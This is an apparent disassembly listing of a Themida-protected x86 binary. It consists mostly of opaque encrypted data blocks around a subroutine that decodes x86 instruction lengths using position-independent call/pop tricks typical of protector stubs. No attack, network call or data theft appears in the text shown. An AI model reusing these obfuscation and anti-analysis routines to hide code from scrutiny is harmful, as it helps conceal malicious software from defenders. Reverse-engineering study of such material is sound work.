		dd 0DEF86EB4h, 0EA466AE5h, 8CBAD130h, 0EECF95AAh, 0B3AD707Fh
		dd 0BEEA1894h, 76EA9910h, 13DAF8F7h, 69AB880h, 0A494E55Dh
		dd 7F29A3D7h, 0E3B39B0Dh, 0FE1412CDh, 84BC414Eh, 479BECh
		dd 0B4210000h, 65403A6Eh, 5ED2DD0Fh, 8CFD2D22h,	0FE0ACF96h
		dd 6527658Ch, 8CF82629h, 0F10FCF96h, 8C608E81h,	49E7CF96h
		dd 89448321h, 3CC1CE7Bh, 8C5F8F04h, 48E4CF96h, 97B60DAh
		dd 0D3DC0F65h, 2E6216CAh, 29h, 3A6EB47Ch, 0FACC404Eh, 0CEE54D9Fh
		dd 7D808FB4h, 655DAFC3h, 968C44F2h, 530D3BCFh, 84432765h
		dd 77BD18Bh, 3A7E71EDh,	3D69B4C0h, 4283114Dh, 0E002254Dh
		dd 47CF968Ch, 3A3A71B9h, 813F67FCh, 2926207Ch, 36392B79h
		dd 65A21C42h, 5DD5DA0Fh, 9ECAC507h, 46D0DF04h, 0CD738A85h
		dd 0C4C857A5h, 403A6EB4h, 5885037Fh, 699B5345h,	9B126800h
		dd 12CDE3B3h, 251Fh, 6EB4AD00h,	0F265403Ah, 0CF968C44h
		dd 65CBB5C3h, 8B844327h, 99077BD1h, 8401CBAAh, 59B3C75Dh
		dd 34ADh, 6EB4FF00h, 0F265403Ah, 0CF968C44h, 65530D3Bh
		dd 0AEA3AF29h, 2DEBAED8h, 95C078A6h, 39718FCFh,	84439FCDh
		dd 77BD18Bh, 8689B9CBh,	968CE111h, 0A6CA66CFh, 0BAAD54h
		dd 0B4FF0000h, 606FD969h, 4535A39Dh, 968D2CD2h,	9D2BCFh
		dd 4F050A34h, 8E8143FDh, 888740D2h, 5CDCB75h, 0EF906646h
		dd 0C855A7CBh, 3A6EB4C4h, 9B0D7F40h, 12CDE3B3h,	411Fh
		dd 6EB4AD00h, 0F265403Ah, 0CF968C44h, 65CBB5C3h, 26296527h
		dd 0CF968CF8h, 8E81F10Fh, 0CF968C60h, 832149E7h, 0A4CEDB44h
		dd 2814CF5Dh, 1583313Eh, 65097B2Bh, 79ACC27Bh, 0C3B75404h
		dd 3F4Fh, 6EB41D00h, 0F265403Ah, 0CF968C44h, 65530D3Bh
		dd 8CF82629h, 0CE7ACF96h, 0C2B6C2C1h, 84434486h, 2BF2FD6Fh
		dd 9FCB8735h, 968C4AF8h, 0B8B7ACCFh, 62DCFB65h,	968C3DEDh
		dd 0BECACFh, 97B1268h, 7F8E8143h, 5F353A25h, 89141BC5h
		dd 968C9E4Eh, 0DA6D33CFh, 68EF221Ch, 0CF968CBAh, 0C78D3B49h
		dd 0BB325D7Bh, 37FCE8C9h, 0E58D3B34h, 89128DBFh, 0BAE2128Bh
		dd 7156848Bh, 5FEDCF96h, 9F905721h, 0F4A4D20Eh,	58A5AA9Eh
		dd 7205355Ah, 0F602CF96h, 0FFC85A78h, 9F976CA3h, 4929C29Bh
		dd 24F9F671h, 9A636CD8h, 6240C3A5h, 0A066E127h,	99964DA6h
		dd 0AC74256Bh, 7C8788F8h, 92D5A6E2h, 0A1C9C600h, 2423FA76h
		dd 0C984B6F2h, 81D9C743h, 7309EAA7h, 9FA8FEB2h,	0DC3ABD81h
		dd 3BF509h, 439B0000h, 0D87F8E81h, 0CF968D2Ah, 0BDA5FFABh
		dd 98656BB2h, 0DCB35384h, 2E9CBA28h, 1ADBD98h, 53D40A6Eh
		dd 0F166AB95h, 0CF95A941h, 64ACAAC6h, 0ED8207DBh, 851F4BF9h
		dd 0B8DE525Dh, 8E814346h, 0A2F6D27Fh, 4B061F6h,	3B1D5ADh
		dd 52C42C4Dh, 80150D3Dh, 70EE1AC9h, 33040F00h, 3B49CF91h
		dd 0CE7C134Fh, 55CF8F26h, 0FE0F00C3h, 8D5CD442h, 8F26984Ah
		dd 0B0B3E5CFh, 0CA8996AEh, 4B35D30Fh, 0E4EB54E5h, 97392719h
		dd 0DB2C4428h, 3Ah, 3D69B461h, 8D2CCA4Dh, 1A68CF96h, 634C242Bh
		dd 0DB2965D5h, 0DA08606Fh, 0F834646Bh, 8C5B8B8Ch, 5CE8CF96h
		dd 968D0737h, 27701CCFh, 88B4F4C3h, 0CF3179F7h,	36BBh
		dd 69B4C100h, 0D2434D3Dh, 750C5984h, 0F89FEB8Fh, 0CF95F656h
		dd 1903709Eh, 7560438h,	78284473h, 8FBFD00Ch, 94CF95D6h
		dd 0D685B5DAh, 7682CF95h, 0F372B0F8h, 0AD2496FCh, 144h
		dd 262965FFh, 0CF968CF8h, 252A150Fh, 8E56C3B7h,	0F9040B3Eh
		dd 43D7A8D7h, 9705A3C6h, 272EC489h, 0B321B8FAh,	0DF0F65C9h
		dd 8B8446D0h, 43C636E7h, 7FDC8E81h, 0E3B39B0Dh,	351F12CDh
		dd 0AD000000h, 4C3C68B4h, 0E33A3536h, 65C7357Dh, 968C44F2h
		dd 0C30290CFh, 4BFB9CCCh, 0D8CF968Ch, 5DEBC4ACh, 0DA0F65E3h
		dd 0FB215DD5h, 0D38D8243h, 20AD097Bh, 0FF000000h, 423C68B4h
		dd 5AFD2965h, 0CF968CACh, 0C2650DBBh, 0CF968D14h, 65037DEBh
		dd 8D824327h, 43097BD3h, 0C8DC8E81h, 818EB8CAh,	6EB493E9h
		dd 0D7F403Ah, 0CDE3B39Bh, 3C1F12h, 0B4AD0000h, 65403A6Eh
		dd 968C44F2h, 0CBB5C3CFh, 0F652765h, 0D07E11DCh, 57CF968Ch
		dd 2C52ABD9h, 968CFB2Bh, 4EFC08CFh, 444BF82Ah, 4D7B651Ah
		dd 25009EA0h, 6BE5076Bh, 29ADh,	6EB4FF00h, 7B65403Ah, 30967855h
		dd 3B472BF2h, 9639E614h, 0E5A785CFh, 84432765h,	77BD18Bh
		dd 2F7976EDh, 77E9343Bh, 8043C903h, 28DB7E8Fh, 48CF968Dh
		dd 320A939Ch, 0CC40AC33h, 0EE99ED6Bh, 84C4AD70h, 0AAFEA183h
		dd 0E3EC5F99h, 0C75DADh, 4442FE0Fh, 758153AAh, 4882F674h
		dd 0F86B8043h, 0BC2A16F7h, 66E73D61h, 0C4AC9469h, 8346AD9Eh
		dd 51CF718Ch, 18FE34Ch,	0ABAC29FDh, 0CF95C27Bh,	0E05E7C88h
		dd 71A7CB66h, 383730F6h, 8C7A4E48h, 1C8E6FE1h, 0DA4DF214h
		dd 7ECF9617h, 0CD9ECBFCh, 0FE73890Fh, 0BE57FFFFh, 0CF968C8Ch
		dd 470A94C0h, 0A3DBA4D1h, 0B75B8B00h, 5CE8CF95h, 0B83F73D4h
		dd 9D4CCF95h, 0F1CF95B7h, 18C64985h, 2FCF95B8h,	0B7CC7A91h
		dd 2D5BCF95h, 0B830E245h, 8BBFCF95h, 18CF95B7h,	8F95B7E6h
		dd 908711FFh, 0F95B762h, 752553E1h, 0A9AC9EE2h,	0B9DE0A15h
		dd 9836B89h, 0A10E629Eh, 7B458A13h, 0ED07732Fh,	24D27976h
		dd 2309836Ch, 0EE619D95h, 0F949599h, 5997629Eh,	6D494C10h
		dd 294AA90h, 1DCB0000h,	7DEA3C12h, 5B8A1C72h, 0BDA4FE54h
		dd 9E4ADCB2h, 0C368BB91h, 73D9D612h, 543A3531h,	381E11D2h
		dd 1D737CEEh, 42F0679Bh, 0C1C9800Dh, 81435054h,	0F6D27F8Eh
		dd 0AC61F6A2h, 4DD5AD04h, 0EFE9593Fh, 0EAFC693Fh, 66C9A16Bh
		dd 0C97FAEB4h, 3B73FE18h, 0BF2F4C48h, 26725EFBh, 0E4DCE56Ah
		dd 92CECF96h, 96354DFDh, 0D4AEDACFh, 0A4136768h, 18CA5808h
		dd 65E74117h, 8AB4936Ah, 0C2CF9635h, 62BBB4B0h
		dd 319FBAFEh, 0F7223565h, 70D5ACADh, 7924F254h,	2A58F823h
		dd 353A247Eh, 0F01BC55Fh, 0BEA27B74h, 8850FD00h, 96306CDCh
		dd 652C117Fh, 0BDE29672h, 0CF96208Ch, 0B19E6F9Dh, 1B570357h
		dd 95F0C674h, 4B2F5DCFh, 6895183Fh, 0A6D2D5ACh,	0A1AE98EAh
		dd 808FB9EBh, 0BC28DA7Dh, 53BDC97Fh, 11C44B07h,	0D6CF9614h
		dd 0E35F435Ah, 9606BE6Ch, 0C9A745CFh, 8CABE2FCh, 63CEA2D0h
		dd 0EE61D185h, 0D5A6A2C5h, 63E33E4Ah, 4B8F5FF5h, 18444F2h
		dd 6DDB0000h, 4DFA2C62h, 0AB9A0C42h, 8DB4EEA4h,	0EE5ACC82h
		dd 0D378ABE1h, 63292622h, 440A05C1h, 286E61E2h,	0D434CFEh
		dd 32E0778Bh, 31C9800Dh, 6CB42064h, 12C74838h, 0D7D5AD05h
		dd 218F4459h, 99120575h, 0DECF911Bh, 698557A2h,	4C918949h
		dd 1319Eh, 0B5BAA800h, 919E45DFh, 0F3FC69BBh, 0D1DE0B9Dh
		dd 3639297Bh, 0EF1EC760h, 841E747Bh, 0A7015758h, 43E5ABA4h
		dd 4EC88E81h, 0CED1D32h, 297AC980h, 386CB4FBh, 51AC748h
		dd 267CD5ADh, 6D4A2E21h, 0D21163DFh, 92000F39h,	4BF5CF9Eh
		dd 46B20E44h, 801521D1h, 0F88A26C9h, 0F42E424Dh, 0A8A7A14Ah
		dd 0A07DEB55h, 211145A3h, 968CA72Eh, 0B8A9FBCFh, 609E9153h
		dd 0E0CFA39Dh, 4B340896h, 0D29CA9E7h, 963F8DBDh, 0F06E9ACFh
		dd 0D4DB089Ah, 3639247Eh, 0C03C660h, 0B8A8FA46h, 0A1A1C3B7h
		dd 8ABEE8AEh, 0E955CF85h, 34C9C602h, 76A29E0Ch,	964031E1h
		dd 0F6BA36CFh, 0DAD51690h, 0AF303274h, 0B05CB31Fh, 0D7BD2B14h
		dd 0B89E914Dh, 0CB7B1C48h, 58CF95C6h, 0FE9442Ch, 15B3EF5Bh
		dd 0C6F849F3h, 0B05EF570h, 0B7CF966Bh, 0D9157139h, 0F01E316Dh
		dd 77CF966Bh, 6BA452F9h, 15A3CF96h, 0E3B33A1Dh,	38B4D5ACh
		dd 46AD9FE5h, 0F9F66D86h, 30C394Bh, 82C846FAh, 1DCEh, 36749200h
		dd 268E5BCh, 65ED1F13h,	3A67F17Bh, 3F50C469h, 0CF96270Fh
		dd 66A9814h, 85436719h,	3F29738Ah, 5497ED30h, 0CA7A425Bh
		dd 64DC38C5h, 9E4A926Bh, 31300C91h, 0A895EF3Eh,	0C97E46A7h
		dd 563727C6h, 0C681E689h, 4, 8704EE83h,	248B2434h, 0E0895024h
		dd 405h, 4E88300h, 5C240487h, 56243489h, 0C681E689h, 4
		dd 4EE81h, 34870000h, 14895C24h, 4EC8324h, 0B8240489h
		dd 6167833h, 5458C689h,	8324148Bh, 0FF6804C4h, 89000010h
		dd 8BB241Ch, 1000000h, 5B3389D3h, 5A2434FFh, 0FF04C483h
		dd 835E2434h, 48E904C4h, 0F7FFFAFBh, 1FB0AF69h,	57496BC6h
		dd 0B8D7ED82h, 6168241h, 0C38BC503h, 161E9h, 0B58DFC00h
		dd 6168368h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	0A9C35040h, 293350F0h, 0FBB30C7Bh, 858DF84Ch, 6144438h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0A9C35545h
		dd 0FB9A40Eh, 189h, 0D0FFF500h,	18A0Fh,	60F90000h, 2830Fh
		dd 59560000h, 6AC361F8h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 3964C351h, 8820Fh
		dd 830F0000h, 2, 8C666160h, 57006AD9h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0EC9F3F2Bh
		dd 9E38DF3Ch, 4C1F6F9h,	55840Fh, 8B600000h, 11E8F9h, 0DE000000h
		dd 8631A36Ch, 0B989DAFDh, 7BFC4E98h, 60236251h,	8B615F61h
		dd 32CB8BFBh, 0FD75AEC0h, 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h
		dd 3F20CD00h, 0B000101h, 8D1874C0h, 0FA8B0C70h,	75A6CB8Bh
		dd 0FA75490Ah, 1B8h, 8B09EB00h,	0B8E4EB00h, 0
		dd 50006ACFh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 6A9177h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0C3AF0C3h, 85C7FC20h, 61683CDh
		dd 1013Fh, 10E8h, 0C8AAE100h, 4DE4415Bh, 0A263AE3Ch, 22108AF5h
		dd 11E9C5h, 78A20000h, 0DEE71D22h, 0B1FE4B09h, 0B2CE69C4h
		dd 5FFA600Bh, 6890F56h,	0F000000h, 83h,	0C7815800h, 5A08h
		dd 8E0FDB2Bh, 9, 3860Fh, 0BF0F0000h, 1F348BD2h,	2890Fh
		dd 0E78A0000h, 797FC681h, 81663BAEh, 816C92E1h,	0B7DE88C6h
		dd 14E974h, 0EAFC0000h,	3B21F7FCh, 0B17B1C3Ch, 0C6ECC95Fh
		dd 84722EEAh, 0F681E059h, 4E18AE7Fh, 82BDC981h,	348962D6h
		dd 0FCCB8B1Fh, 0F375EB81h, 81661701h, 815129F1h, 1F371C3h
		dd 58F85717h, 0A6CCFB81h, 850FFFFFh, 10h, 1FE9F8h, 0DBA10000h
		dd 75D07939h, 4D47346Fh, 0FFFF84E9h, 111786FFh,	3F4A8BFDh
		dd 0D62118A4h, 0D8DA220Fh, 0D58D8DD1h, 89061685h, 11285D8Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 37EAD92Ch, 296427F9h, 11312DB5h,	0D185C706h
		dd 9C06112Dh, 8B00005Ah, 1103599Dh, 985C706h, 61127h, 0E9000000h
		dd 14h,	0C619ED44h, 18572F3Dh, 0D9260F9Ah, 477538DCh, 5A6FFBE4h
		dd 6B9B5FFh, 6A0611h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 295004C3h, 1126B595h, 0A995FF06h
		dd 6A06111Dh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 5EDEC351h, 0AFD2802Ch,	95FF006Ah
		dd 61105C5h, 4AEBC08Bh,	0D03E0E63h, 1C7DB200h, 0A9189CEAh
		dd 0E79B5FF3h, 88C7FBBCh, 0C42209D7h, 0D211D220h, 1AFE7278h
		dd 8938D086h, 34E9786Fh, 0ACC55E69h, 0E7D30C1Bh, 0FDCA9BE4h
		dd 4E731876h, 4268E8E5h, 42106AA1h, 1FC5E3B9h, 0AC008A85h
		dd 0C8E9FAC4h, 88000001h, 7 dup(88004188h), 4188h, 4 dup(0)
		dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
		dd 888888h, 0
		dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
		dd 3C98802h, 88001002h,	88001188h, 11888888h, 44111111h
		dd 16h,	880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
		dd 88080888h, 888888h, 0
		dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
		dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
		dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
		dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
		dd 88888888h, 26088888h, 643E362Eh, 0F0676665h,	0F3F2h
		dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
		dd 1000000h, 14h dup(0)
		dd 0C3000000h, 77ED6380h, 1000075h, 11h	dup(0)
		dd 0E9000000h, 353h, 0E855h, 815D0000h,	1687FCEDh, 85C76006h
		dd 6168749h, 0
; ---------------------------------------------------------------------------
		cmp	word ptr [esi],	0A166h
		jnz	loc_5A23EE
		mov	dword ptr [ebp+616874Dh], 6
		jmp	loc_5A2412
; ---------------------------------------------------------------------------


loc_5A23EE:				; CODE XREF: Themida_:005A23D9j
		lea	eax, [ebp+6168751h]
		push	eax
		lea	eax, [ebp+61687A1h]
		push	eax
		push	esi
		push	0
		call	sub_5A2421
		add	esp, 10h
		and	eax, 0FFh
		mov	[ebp+616874Dh],	eax


loc_5A2412:				; CODE XREF: Themida_:005A23E9j
		popa
		add	esi, [ebp+616874Dh]
		mov	eax, [ebp+6168749h]
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5A2421	proc near		; CODE XREF: Themida_:005A23FFp

var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_6168741	= dword	ptr  6168749h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_5], 0
		and	[ebp+var_6], 0
		xor	dl, dl
		and	[ebp+var_1], dl
		cmp	[ebp+arg_0], 0
		jz	loc_5A244E
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		mov	[ebp+var_2], 1
		jmp	loc_5A245A
; ---------------------------------------------------------------------------


loc_5A244E:				; CODE XREF: sub_5A2421+16j
		and	[ebp+var_3], 0
		and	[ebp+var_2], 0
		mov	[ebp+var_4], 4


loc_5A245A:				; CODE XREF: sub_5A2421+28j
		push	ebx
		push	esi
		push	edi


loc_5A245D:				; CODE XREF: sub_5A2421+91j
					; sub_5A2421+ADj ...
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5A2470:				; CODE XREF: sub_5A2421+76j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 61688B3h
		lea	ebp, [ebp+6168729h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5A249D
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5A2470


loc_5A249D:				; CODE XREF: sub_5A2421+6Bj
		cmp	cl, 0Bh
		jz	loc_5A24FA
		cmp	al, 66h
		jnz	loc_5A24DB
		cmp	[ebp+var_5], 0
		jnz	loc_5A245D
		cmp	[ebp+var_3], 0
		mov	[ebp+var_5], 1
		jnz	loc_5A24D3
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		jmp	loc_5A245D
; ---------------------------------------------------------------------------


loc_5A24D3:				; CODE XREF: sub_5A2421+9Fj
		and	[ebp+var_3], 0
		mov	[ebp+var_4], 4


loc_5A24DB:				; CODE XREF: sub_5A2421+87j
		cmp	al, 67h
		jnz	loc_5A245D
		cmp	[ebp+var_6], 0
		jnz	loc_5A245D
		xor	[ebp+var_2], 1
		mov	[ebp+var_6], 1
		jmp	loc_5A245D
; ---------------------------------------------------------------------------


loc_5A24FA:				; CODE XREF: sub_5A2421+7Fj
		mov	ebx, [ebp+arg_C]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5A2526
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5A252B
; ---------------------------------------------------------------------------


loc_5A2526:				; CODE XREF: sub_5A2421+E4j
		movzx	edi, al
		shr	edi, 1


loc_5A252B:				; CODE XREF: sub_5A2421+100j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 616896Bh
		lea	ebp, [ebp+6168629h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp+var_7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp+var_6], bl
		jz	loc_5A26AD
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebp+arg_0+3],	1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	byte ptr [ebp+arg_C+3],	dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	[ebp+var_5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5A25F1
		dec	ecx
		jz	loc_5A25D4
		dec	ecx
		jnz	loc_5A2644
		cmp	[ebp+var_2], 0
		jnz	loc_5A2640
		cmp	[ebp+var_5], 0
		jz	loc_5A25B3
		mov	byte ptr [ebp+arg_0+3],	2


loc_5A25B3:				; CODE XREF: sub_5A2421+188j
		add	byte ptr [ebp+arg_0+3],	4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 61689F7h
		mov	[ebp+arg_6168741], 1
		pop	ebp
		jmp	loc_5A2644
; ---------------------------------------------------------------------------


loc_5A25D4:				; CODE XREF: sub_5A2421+16Dj
		cmp	[ebp+var_2], 0
		jnz	loc_5A261E
		cmp	[ebp+var_5], 0
		jz	loc_5A261E
		mov	byte ptr [ebp+arg_0+3],	2
		jmp	loc_5A261E
; ---------------------------------------------------------------------------


loc_5A25F1:				; CODE XREF: sub_5A2421+166j
		cmp	[ebp+var_2], 0
		jnz	loc_5A2637
		cmp	[ebp+var_5], 0
		jz	loc_5A2626
		movzx	ecx, byte ptr [ebp+arg_C+3]
		mov	edx, [ebp+arg_4]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5A261E
		mov	byte ptr [ebp+arg_0+3],	cl


loc_5A261E:				; CODE XREF: sub_5A2421+1B7j
					; sub_5A2421+1C1j ...
		inc	byte ptr [ebp+arg_0+3]
		jmp	loc_5A2644
; ---------------------------------------------------------------------------


loc_5A2626:				; CODE XREF: sub_5A2421+1DEj
		cmp	dl, 5
		jnz	loc_5A2644
		mov	byte ptr [ebp+arg_0+3],	dl
		jmp	loc_5A2644
; ---------------------------------------------------------------------------


loc_5A2637:				; CODE XREF: sub_5A2421+1D4j
		cmp	dl, 6
		jnz	loc_5A2644


loc_5A2640:				; CODE XREF: sub_5A2421+17Ej
		mov	byte ptr [ebp+arg_0+3],	3


loc_5A2644:				; CODE XREF: sub_5A2421+174j
					; sub_5A2421+1AEj ...
		dec	byte ptr [ebp+arg_0+3]
		jz	loc_5A2672
		movzx	ecx, byte ptr [ebp+arg_0+3]
		mov	[ebp+arg_0], ecx


loc_5A2654:				; CODE XREF: sub_5A2421+249j
		movzx	esi, byte ptr [ebp+arg_C+3]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		inc	byte ptr [ebp+arg_C+3]
		dec	[ebp+arg_0]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5A2654
		mov	esi, edx


loc_5A2672:				; CODE XREF: sub_5A2421+226j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5A26A7
		cmp	edi, 7Fh
		ja	loc_5A26A7
		test	bl, 38h
		jnz	loc_5A26A7
		cmp	[ebp+var_7], 0
		jz	loc_5A26A1
		movzx	eax, [ebp+var_4]
		jmp	loc_5A26A4
; ---------------------------------------------------------------------------


loc_5A26A1:				; CODE XREF: sub_5A2421+271j
		push	1
		pop	eax


loc_5A26A4:				; CODE XREF: sub_5A2421+27Bj
		mov	[ebp+var_1], al


loc_5A26A7:				; CODE XREF: sub_5A2421+255j
					; sub_5A2421+25Ej ...
		mov	dl, byte ptr [ebp+arg_C+3]
		mov	bl, [ebp+var_6]


loc_5A26AD:				; CODE XREF: sub_5A2421+136j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5A26D8
		dec	eax
		dec	eax
		jz	loc_5A26CE
		and	bl, 7
		add	[ebp+var_1], bl
		jmp	loc_5A26E0
; ---------------------------------------------------------------------------


loc_5A26CE:				; CODE XREF: sub_5A2421+29Cj
		mov	al, [ebp+var_3]
		add	al, 6
		jmp	loc_5A26DD
; ---------------------------------------------------------------------------


loc_5A26D8:				; CODE XREF: sub_5A2421+294j
		mov	al, [ebp+var_3]
		add	al, 4


loc_5A26DD:				; CODE XREF: sub_5A2421+2B2j
		add	[ebp+var_1], al


loc_5A26E0:				; CODE XREF: sub_5A2421+2A8j
		mov	al, [ebp+var_1]
		dec	[ebp+var_1]
		test	al, al
		jz	loc_5A2708
		movzx	ecx, [ebp+var_1]
		inc	ecx


loc_5A26F3:				; CODE XREF: sub_5A2421+2E1j
		mov	edi, [ebp+arg_4]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5A26F3


loc_5A2708:				; CODE XREF: sub_5A2421+2C7j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
sub_5A2421	endp

; ---------------------------------------------------------------------------
		db 8Dh
		dd 1687F685h, 0F9858906h, 0E806111Ch, 14h, 8F559498h, 78D56CD8h
		dd 0BFC2182Fh, 2293513Ah, 0C86BF776h, 0EE9h, 4B0FF500h
		dd 699C11D4h, 61DCB056h, 59D8085Bh, 815BD380h, 5D27C1h
		dd 9986B800h, 23BA36A2h, 816D0F05h, 0F1231F2h, 0CFDC806Dh
		dd 665E31FFh, 0F681FA8Bh, 52ED5AA8h, 0C681A6B4h, 29596F5Eh
		dd 0C1E78166h, 76C68184h, 603E38E5h, 10870Fh, 0BE90000h
		dd 99000000h, 0E16F68EBh, 0BC2E8C36h, 0ED80BB70h, 0E8566197h
		dd 10h,	0E560F4Ah, 4816361Bh, 31AF9024h, 0C073AA7Ah, 5B80D080h
		dd 8166018Fh, 81C2F5C8h, 0A94E82E9h, 0C181F97Ch, 7CA94E7Eh
		dd 0EE8h, 2C83F400h, 0BCF4346Eh, 68EB9976h, 5B36E16Fh
		dd 1EA81h, 850F0000h, 0FFFFFF78h, 12E9h, 0FCA02C00h, 0C007E045h
		dd 568A8BBDh, 0C9474053h, 0E84A9B64h, 14h, 57875Fh, 0C5355933h
		dd 3E0E1B1h, 2E27530Bh,	9642C765h, 3880Fh, 0BF0F0000h
		dd 0BB665EC9h, 0C6812E3Ch, 75A8h, 0FF33CF8Bh, 0B8D0Fh
		dd 890F0000h, 5, 0C0FCCB8h, 3734FF2Fh, 9EE08166h, 0C18A5A76h
		dd 294DC281h, 816652B6h, 81C2C0C9h, 959F9FF2h, 0E860517Bh
		dd 11h,	0EBD82410h, 0D3AF8279h,	33CC5898h, 0AA07CA65h
		dd 6E95B7Eh, 1C000000h,	0DBF903AEh, 81596111h, 795CEAF2h
		dd 6830F35h, 81000000h,	0CB4157C3h, 0B551523Fh,	48F5BE1h
		dd 11E93Eh, 8FD0000h, 0C3D722BAh, 80DB33Eh, 0DE3AEA2Ah
		dd 0B80A77E6h, 241BE77Ah, 8001EF83h, 4F4FBEC0h,	0DE84Fh
		dd 0F9D70000h, 6929C187h, 6D712079h, 0F96E813h,	8158C8BFh
		dd 0FF8B3CFFh, 5E850FFFh, 0FFFFFFFh, 383h, 0C78B6600h
		dd 8E2C8D8Dh, 6A0616h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0F6009C3h, 689h,	850F00h, 31000000h
		dd 1132ED85h, 8D896106h, 611285Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 8FC35141h, 695BD2Bh, 85C70611h
		dd 6112DD1h, 5A3Ch, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 68C35646h, 913AFF9Ah,	0BD8BD134h, 6110E99h
		dd 270985C7h, 611h, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 170424h, 52420000h, 0A1BE80C3h, 0AE90Eh
		dd 0E92B0000h, 60C89915h, 0F00BA291h, 0C5B5FFh,	0E9600611h
		dd 14h,	0B80016BEh, 43FCF60Bh, 533EE39Ch, 0AA30D6E8h, 3EAF7771h
		dd 1F9B52Bh, 0FF610611h, 111DA995h, 0F5B58B06h,	6A061129h
		dd 0C595FF00h, 8B061105h, 0D71FEBC0h, 0DC7DF2A8h, 3D8B1EBCh
		dd 0BD7EFD02h, 5027B569h, 0E5A78960h, 9E9DC027h, 0BA4ABC48h
		dd 11CCBF6Ch, 0BD661C41h, 61B82865h, 7321F127h,	37420533h
		dd 72F8794Fh, 87D7FF9Eh, 877082DDh, 0F3F030A3h,	7E0D233h
		dd 8A4A1E37h, 31F52BEFh, 27F73F9Fh, 0B639309Eh,	278F1250h
		dd 35BFD9DAh, 4F9E309Eh, 0B4DBD41Dh, 26DAAD23h,	0B3EB3098h
		dd 37723088h, 35E0D967h, 3C75309Eh, 0F64E309Eh,	3FE573A4h
		dd 0CFF67927h, 0B244088Fh, 31F2BEEEh, 0DF2530F4h, 3739309Dh
		dd 685F6FBEh, 336A4C17h, 3303741Fh, 37933087h, 5D0A67D9h
		dd 0CD7F849Ch, 6522A055h, 373DBE91h, 89FA309Eh,	6417CADh
		dd 0D1E28EFEh, 632B7553h, 5693B749h, 51B468C4h,	0A71A2221h
		dd 0DF6A30F4h, 379C309Dh, 6C8D6BBEh, 33036C17h,	33B7741Fh
		dd 37C93085h, 752763DDh, 35BE32h, 0C24466D2h, 0B9CEB513h
		dd 32A73688h, 8B27309Eh, 4FC64F8Ch, 8EAF660Eh, 67BDC76Eh
		dd 31808AF8h, 8583560Eh, 1209CFD4h, 0CB4821B5h,	0BCDD8791h
		dd 361B3F5Eh, 0CEC9309Eh, 12158D1Dh, 4272368Fh,	0A84B397h
		dd 379A21BAh, 641E29EAh, 4D9FF015h, 0BE93309Ah,	26D47D1Bh
